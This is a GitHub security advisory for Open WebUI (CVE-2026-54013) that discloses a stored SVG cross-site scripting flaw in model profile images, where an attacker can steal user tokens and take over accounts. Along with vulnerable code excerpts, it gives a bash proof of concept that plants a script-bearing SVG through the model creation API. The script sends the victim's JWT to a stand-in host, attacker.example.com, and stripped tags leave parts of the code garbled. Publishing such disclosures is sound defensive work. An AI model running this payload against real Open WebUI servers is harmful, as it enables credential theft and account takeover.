GitHub Advisoryadvisory · PyPI

GHSA-v2qm-5wxj-qhj7 Open WebUI: Stored XSS to Account Takeover via Model Profile Images

HIGH Published 2026-06-17 Modified 2026-07-20 Official page ↗
Aliases
CVE-2026-54013
Ecosystem
PyPI
Packages
open-webui
Severity
High
CVSS vector
CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:H/I:L/A:N
Weaknesses
CWE-116, CWE-693, CWE-79
Reviewed
2026-06-17

Affected packages

• PyPI open-webui: < 0.9.6 → fixed in 0.9.6

Description

Stored XSS to Account Takeover via Model Profile Images in Open WebUI Affected: Open WebUI ` tags. On the output side, `users.py` added a MIME allowlist check and `X-Content-Type-Options: nosniff`. The fix was applied to `UserUpdateForm`, `UpdateProfileForm`, and later to `ChannelWebhookForm`. Three models patched. Case closed. Except there was a fourth endpoint. The Gap Open WebUI has a concept of "Models" user-created model configurations with metadata including a profile image. The metadata lives in `ModelMeta`: ```python backend/open_webui/models/models.py, line 37-47 class ModelMeta(BaseModel): profile_image_url: Optional[str] = '/static/favicon.png' description: Optional[str] = None capabilities: Optional[dict] = None model_config = ConfigDict(extra='allow') ``` No `@field_validator`. No import of `validate_profile_image_url`. `ModelMeta` accepts any string as `profile_image_url` including `data:image/svg+xml;base64,...`. The serving endpoint at `GET /api/v1/models/model/profile/image` has the same gap: ```python backend/open_webui/routers/models.py, line 503-518 elif profile_image_url.startswith('data:image'): header, base64_data = profile_image_url.split(',', 1) image_data = base64.b64decode(base64_data) image_buffer = io.BytesIO(image_data) media_type = header.split(';')[0].lstrip('data:') headers = {'Content-Disposition': 'inline'} # ... return StreamingResponse( image_buffer, media_type=media_type, headers=headers, ) ``` No MIME allowlist. No `nosniff`. No CSP. The SVG is served inline with `Content-Type: image/svg+xml` on the application's origin. Compare this with the patched user endpoint: ```python backend/open_webui/routers/users.py, line 497-509 media_type = header.split(';')[0].lstrip('data:').lower() if media_type not in PROFILE_IMAGE_ALLOWED_MIME_TYPES: # new Image().src="https://attacker.example.com/steal?t="+localStorage.getItem("token") ' | base64 -w0) curl -s -X POST 'https://TARGET/api/v1/models/create' \ -H "Authorization: Bearer $ATTACKER_TOKEN" \ -H 'Content-Type: application/json' \ -d "{ \"id\": \"gpt-4-turbo-preview\", \"name\": \"GPT-4 Turbo\", \"base_model_id\": \"gpt-4\", \"meta\": { \"profile_image_url\": \"data:image/svg+xml;base64,$SVG\", \"description\": \"Latest GPT-4 Turbo model\" }, \"params\": {}, \"access_grants\": [] }" ``` Step 2 Victim navigates to the image URL: ``` https://TARGET/api/v1/models/model/profile/image?id=gpt-4-turbo-preview ``` This happens naturally when a user right-clicks a model's avatar and selects "Open Image in New Tab", or when the attacker sends the URL directly (e.g., in a channel message). Step 3 Token theft: The server responds: ```http HTTP/1.1 200 OK content-type: image/svg+xml content-disposition: inline new Image().src="https://attacker.example.com/steal?t="+localStorage.getItem("token") ``` No `X-Content-Type-Options`. No `Content-Security-Policy`. The browser renders the SVG as a top-level document in the Open WebUI origin. The embedded `` executes. `localStorage.getItem("token")` returns the victim's JWT. The attacker receives it and has full API access password changes, admin promotion, data exfiltration. PoC ```bash !/usr/bin/env bash PoC: Stored SVG XSS -> token theft via Open WebUI model profile image Affected: open-webui " COLLECTOR="https://attacker.example.com/steal" # attacker-controlled listener --- Step 1: Build the malicious SVG (steals victim JWT from localStorage) --- read -r -d '' SVG new Image().src="${COLLECTOR}?t="+encodeURIComponent(localStorage.getItem("token")); EOF SVG_B64=$(printf '%s' "$SVG" | base64 -w0) --- Step 2: Store the payload in a model's profile_image_url --- curl -s -X POST "${TARGET}/api/v1/models/create" \ -H "Authorization: Bearer ${ATTACKER_TOKEN}" \ -H "Content-Type: application/json" \ -d "{ \"id\": \"gpt-4-turbo-preview\", \"name\": \"GPT-4 Turbo\", \"base_model_id\": \"gpt-4\", \"meta\": { \"profile_image_url\": \"data:image/svg+xml;base64,${SVG_B64}\", \"description\": \"Latest GPT-4 Turbo\" }, \"params\": {}, \"access_grants\": [] }" --- Step 3: Trigger (victim navigates here, or attacker sends the link) --- echo "Victim opens: ${TARGET}/api/v1/models/model/profile/image?id=gpt-4-turbo-preview" ``` Expected server response at Step 3 (the proof — SVG served inline, no defenses): ``` HTTP/1.1 200 OK content-type: image/svg+xml content-disposition: inline new Image().src="https://attacker.example.com/steal?t="+localStorage.getItem("token") ```` No X-Content-Type-Options, no Content-Security-Policy. The browser renders the SVG as a top-level document, the executes in the Open WebUI origin, and the victim's JWT lands in the attacker's collector log. The attacker replays the JWT against the API for full account takeover (password change, admin promotion). Trigger note: because the frontend loads model avatars in `` context (where SVG scripts do not run), exploitation requires the victim to load the URL as a top-level document — e.g. right-click → …

Related

Alias · CVE (1)

  • CVE-2026-54013 Open WebUI is a self-hosted artificial intelligence platform designed to operate entirely offline. vulnerability

Weakness · CWE (3)

  • CWE-116 Improper Encoding or Escaping of Output weakness
  • CWE-693 Protection Mechanism Failure weakness
  • CWE-79 Improper Neutralization of Input During Web Page Generation weakness

References